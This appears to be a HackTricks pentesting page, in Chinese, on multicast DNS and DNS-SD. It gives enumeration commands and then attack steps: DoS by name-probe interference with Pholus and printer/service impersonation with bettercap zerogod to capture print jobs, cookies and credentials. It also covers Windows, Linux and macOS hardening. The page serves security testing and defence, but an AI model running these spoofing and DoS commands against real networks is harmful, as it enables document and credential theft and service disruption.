5353/UDP Multicast DNS (mDNS) 和 DNS-SD

Reading time: 10 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

Multicast DNS (mDNS) 使得在没有单播 DNS 服务器的情况下,在本地链路内实现类似 DNS 的名称解析和服务发现。它使用 UDP/5353 和多播地址 224.0.0.251 (IPv4) 和 FF02::FB (IPv6)。DNS 服务发现 (DNS-SD,通常与 mDNS 一起使用) 提供了一种标准化的方法,通过 PTR、SRV 和 TXT 记录来枚举和描述服务。

PORT     STATE SERVICE
5353/udp open  zeroconf

关键协议细节,您在攻击中经常利用:

  • .local 区域中的名称通过 mDNS 解析。
  • QU(查询单播)位可能请求单播回复,即使对于多播问题。
  • 实现应忽略未从本地链路源发的包;一些栈仍然接受它们。
  • 探测/公告强制唯一的主机/服务名称;在这里干扰会造成 DoS/“名称占用”条件。

DNS-SD 服务模型

服务在 .local 下被标识为 _._tcp 或 _._udp,例如 _ipp._tcp.local(打印机)、_airplay._tcp.local(AirPlay)、_adb._tcp.local(Android 调试桥)等。使用 _services._dns-sd._udp.local 发现类型,然后将发现的实例解析为 SRV/TXT/A/AAAA。

网络探索和枚举

  • nmap 目标扫描(直接在主机上进行 mDNS):
bash
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap 广播发现(监听该段并枚举所有 DNS-SD 类型/实例):
bash
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse(Linux):
bash
# 列出服务类型
avahi-browse -bt _services._dns-sd._udp
# 浏览所有服务并解析到主机/端口
avahi-browse -art
  • Apple dns-sd(macOS):
bash
# 浏览所有 HTTP 服务
dns-sd -B _http._tcp
# 枚举服务类型
dns-sd -B _services._dns-sd._udp
# 将特定实例解析为 SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • 使用 tshark 进行数据包捕获:
bash
# 实时捕获
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# 仅 DNS-SD 服务列表查询
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

提示:一些浏览器/WebRTC 使用短暂的 mDNS 主机名来掩盖本地 IP。如果您在网络上看到随机的 UUID.local 候选项,请使用 mDNS 解析它们以转向本地 IP。

攻击

mDNS 名称探测干扰(DoS / 名称占用)

在探测阶段,主机检查名称的唯一性。以伪造的冲突响应迫使其选择新名称或失败。这可能会延迟或阻止服务注册和发现。

使用 Pholus 的示例:

bash
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

服务欺骗和冒充 (MitM)

冒充广告的 DNS-SD 服务(打印机、AirPlay、HTTP、文件共享),迫使客户端连接到您。这在以下情况下特别有用:

  • 通过欺骗 _ipp._tcp 或 _printer._tcp 捕获文档。
  • 引诱客户端连接到 HTTP/HTTPS 服务以收集令牌/ cookies 或传递有效载荷。
  • 在 Windows 客户端与伪造服务协商身份验证时结合 NTLM 中继技术。

使用 bettercap 的 zerogod 模块(mDNS/DNS-SD 欺骗者/冒充者):

bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

也请参见通用的LLMNR/NBNS/mDNS/WPAD欺骗和凭证捕获/中继工作流程:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

关于最近实施问题的说明(在参与期间对DoS/持久性有用)

  • Avahi可达性断言和D-Bus崩溃漏洞(2023)可以终止Linux发行版上的avahi-daemon(例如CVE-2023-38469..38473,CVE-2023-1981),在重启之前会干扰目标主机上的服务发现。
  • Cisco IOS XE无线局域网控制器mDNS网关DoS(2024,CVE-2024-20303)允许相邻攻击者驱动高CPU并断开AP。如果您在VLAN之间遇到mDNS网关,请注意其在格式错误或高频率mDNS下的稳定性。

防御考虑和OPSEC

  • 段边界:除非明确需要mDNS网关,否则不要在安全区域之间路由224.0.0.251/FF02::FB。如果必须桥接发现,优先使用允许列表和速率限制。
  • Windows端点/服务器:
  • 要通过mDNS强制禁用名称解析,请设置注册表值并重启:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • 在受管理的环境中,禁用内置的“mDNS (UDP-In)”Windows Defender防火墙规则(至少在域配置文件上),以防止入站mDNS处理,同时保留家庭/漫游功能。
  • 在较新的Windows 11版本/GPO模板中,使用策略“计算机配置 > 管理模板 > 网络 > DNS客户端 > 配置多播DNS (mDNS) 协议”,并将其设置为禁用。
  • Linux (Avahi):
  • 在不需要时锁定发布:设置disable-publishing=yes,并在/etc/avahi/avahi-daemon.conf中使用allow-interfaces= / deny-interfaces=限制接口。
  • 考虑check-response-ttl=yes,并避免enable-reflector=yes,除非严格需要;在反射时优先使用reflect-filters=允许列表。
  • macOS:在特定子网不需要Bonjour发现时,限制主机/网络防火墙的入站mDNS。
  • 监控:对_services._dns-sd._udp.local查询的异常激增或关键服务的SRV/TXT突然变化发出警报;这些都是欺骗或服务冒充的指标。

工具快速参考

  • nmap NSE: dns-service-discoverybroadcast-dns-service-discovery
  • Pholus: 主动扫描,反向mDNS扫描,DoS和欺骗助手。
bash
# 被动嗅探(超时秒数)
sudo python3 pholus3.py <iface> -stimeout 60
# 枚举服务类型
sudo python3 pholus3.py <iface> -sscan
# 发送通用mDNS请求
sudo python3 pholus3.py <iface> --request
# 对子网进行反向mDNS扫描
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: 发现、保存、广告和冒充mDNS/DNS-SD服务(见上面的示例)。

欺骗/中间人攻击

您可以在客户端与真实服务器之间执行中间人攻击,这是您可以对该服务执行的最有趣的攻击。您可能能够获取敏感文件(与打印机的通信中间人)或甚至凭证(Windows身份验证)。
有关更多信息,请查看:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks